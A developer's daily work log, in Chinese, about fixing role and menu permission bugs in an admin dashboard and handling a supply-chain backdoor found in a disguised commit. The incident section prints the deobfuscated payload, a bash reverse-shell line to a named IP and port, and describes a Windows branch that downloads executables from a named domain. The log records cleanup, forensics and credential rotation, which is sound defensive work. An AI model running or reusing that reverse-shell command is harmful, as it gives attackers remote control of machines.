2026-06-25
2026-06-25 daniel 工作日志
Section titled “2026-06-25 daniel 工作日志”fomoadmin 管理后台 全天主线 角色/菜单权限连环 bug 收口(QA 驱动),期间临时处置一起 供应链后门安全事件。承接 06-24 的 FEAT-016/017 对齐,今日:① 补角色菜单→access 映射、修复切换账号标签栏残留;② 排查测试服 CodeBuild「打包卡死」→ 定位为伪装成 FEAT-017 的恶意 commit 注入反弹 shell 后门,完成清理 + 解混淆取证 + 本机扫查 + 重新部署验证;③ master-v2 cherry-pick 同步 test 干净进度并 prod 构建上线;④ 修复角色菜单权限回显「勾 1 个重开变全选」;⑤ NovaPay 子页从模块级权限改页面级,连修「分配账户登录 4 模块全显示 / 申请审核映射错登录即 403 / 非申请审核角色落地 403」三连环。
另:定位选币展示
listed接口 403 为 BE 接口 RBAC 问题(非前端,待 zz 对齐)。
—— 角色 / 菜单权限(QA 驱动主线)——
角色菜单 → access 映射补全
Section titled “角色菜单 → access 映射补全”8b54b16:FEAT-016/017 补角色菜单 → access 映射,修复 NovaPay / 选币展示角色登录被拦(token-display.js+user.js)。462e656:切换账号清空标签栏,修复上个账号已访问标签(含新账号无权限菜单)残留到下个账号顶部标签栏(tagsView 内存态无持久化,登出→登录手动重置)。
角色菜单权限回显修复(el-tree 级联)
Section titled “角色菜单权限回显修复(el-tree 级联)”17790c0:勾 1 个子项、保存后重开变 4 个全选 —— el-tree 默认check-strictly=false(级联开启),回显setCheckedKeys传入父级 id 会级联勾选其下全部子项;保存又带半选父级 id,二者叠加放大。改为回显只把叶子节点 id 喂给 setCheckedKeys,父级勾选/半选由 el-tree 从叶子自动推导;保存逻辑不变(仍存父级 id 供菜单 / access)。
NovaPay 子页:模块级 → 页面级权限(三连环)
Section titled “NovaPay 子页:模块级 → 页面级权限(三连环)”65c86b0:分配账户登录后 NovaPay 下 4 个模块全显示 —— 原 4 子页meta.access同为novapay、access 派生也只映adminPayfi→novapay,只要有 novapay 位即 4 页全开。改页面级:子页拆novapay_apply / risk / reconcile / stats,user.js按 BE 子 route 前缀映射到对应位并补父级 novapay 保菜单组可见(BE 已按角色 rules 过滤 menus → 纯前端改)。b776dfe:pay 角色登录直接 403 —— 上版按 API 文档把申请审核猜成adminPayfiEnterprise*,但login.menus实际 route 是adminPayfiApply→ 派生不出 novapay_apply → 申请审核页(默认落地)被守卫 403。改用真实 route(超管 menus 实锤 4 子页:apply / risk / reconcile / statsGroup)。27ddd67:非申请审核角色进 NovaPay 即 403 —— 父级固定 redirect 到申请审核页,没勾申请审核的角色(如只勾风控)落地即 403。改为按 access 顺序(apply→risk→reconcile→stats)跳第一个有权限的子页,access 直读 localStorage 避免路由模块耦合 store。
—— 安全事件:供应链后门处置 ——
排查「打包卡死」→ 定位反弹 shell 后门
Section titled “排查「打包卡死」→ 定位反弹 shell 后门”- 测试服 CodeBuild 打到
echarts.js.gz后永久卡住;本地复现确认进程 0% CPU、产物全部落盘却不退出。定位真因:commit0e8b0f3(伪装成 “fix(admin): FEAT-017 选币展示对接 BE”)夹带混淆恶意src/plugins/vue-i18n/language/lang.js并在vite.config.js顶层 require,每次 vite 加载配置(dev / build / CI)即执行。 - 解混淆 payload(obfuscator.io + base64/RC4):Linux/macOS 分支
exec反弹 shellbash -i >& /dev/tcp/207.148.73.30/57217(死循环每 10s 重连 → 进程永不退出 = CI 卡死真因,残留 socket 即此);Windows 分支从maven.repostorg.xyz下载config.sys/univite.exe执行。committer 时区 -0700 异于本人 +0800 → author 身份疑被冒用、非本机提交。
清理 + 本机取证
Section titled “清理 + 本机取证”ba3c8e2/08588d1:移除 0e8b0f3 注入的恶意 lang.js + vite.config require(后者补漏提)。- 本机只读取证(活动连接 / 进程 / LaunchAgents·Daemons / cron / shell rc / 历史 / SSH / hosts / git hooks / npm 全量扫):未发现到 C2 的活动连接、反弹 shell 进程、持久化项或残留 dropper;
/etc/hosts已黑洞maven.repostorg.xyz。openclaw(常驻 LaunchAgent)经核实为 4/28 自装第三方工具、早于事件两月,排除嫌疑。
—— 部署 / 分支 ——
master-v2 同步上线
Section titled “master-v2 同步上线”8b130f4/99bd84d:cherry-pick test 的 2 个干净 fix(角色菜单→access、切换账号清标签栏)到 master-v2,不带入后门 commit 0e8b0f3、保留 prod buildspec;本地 prod 构建验证 EXIT=0 不卡死后 push origin master-v2 触发正式服部署。
buildspec 模式切换 + 多轮触发
Section titled “buildspec 模式切换 + 多轮触发”004b21b(test 切回测试服 test 模式)/57dacae(还原正式服 prod 模式):按分支约定切换BUILD_MODE+--mode,避免 CodeBuild 用错模式部署。后门清理后多轮 push test 触发 CodeBuild 验证打包恢复正常退出。
- 打包卡死 = 后门而非构建配置:症状是「打完产物却不退出、0% CPU、残留 socket」,回溯近期 commit 揪出注入点;修复靠移除后门,而非调 vite / terser worker 配置。
- 后门处置以 HEAD 干净 + 凭据轮换为准:CI 与开发机都跑过反弹 shell,列出 IOC(C2
207.148.73.30:57217/ 域名maven.repostorg.xyz/0e8b0f3)建议出口封禁 + 轮换 CodeBuild·GitLab·SSH·npm 凭据。 - master-v2 同步用 cherry-pick 而非 merge:避免把后门 commit blob 带进 prod 分支历史、避免 test 模式 buildspec 覆盖 prod。
- NovaPay 权限粒度 = 页面级:角色树可单独勾子页,FE access 必须页面级;子页 access 与 BE 真实 menu route(adminPayfiApply / adminPayfiRisk / adminPayfiReconcile / adminPayfiStatsGroup)一一对应,父级默认落地跳首个有权限子页。
- (待 zz)选币展示
listed接口 403「权限不足」:test03 有选币展示菜单(FE 显示 + 页面加载)但接口层 BE RBAC 拒绝;文档只写「需 X-Admin-Token」却实际强制校验 → 文档 / 实现不符。判为 BE 接口 RBAC 与菜单权限错配(疑「权限路由重整」后续),非前端,需 zz 对齐 listed / pool / add / remove 的 RBAC menu.route。 - (待团队)后门事件善后:封禁 IOC、轮换构建机 / 开发机可达凭据(CodeBuild IAM / GitLab token / SSH / npm)、CodeBuild 取证、查投毒来源(0e8b0f3 committer 时区异常)。
- (待 QA)角色权限三连改动逐页复测:4 个 NovaPay 单页角色 + 组合,登录应只显勾选子页、不再「登录即 403」;存量 pay 角色 rules 需重存一次洗污染。
- 跟进 QA 对角色权限(角色回显 + NovaPay 页面级 + 落地跳转)逐页复测反馈,按需收口。
- 配合处置后门事件善后(凭据轮换 / IOC 封禁 / 投毒来源排查)。
- 待 zz 对齐选币展示 listed 等接口 RBAC 后回归选币展示页。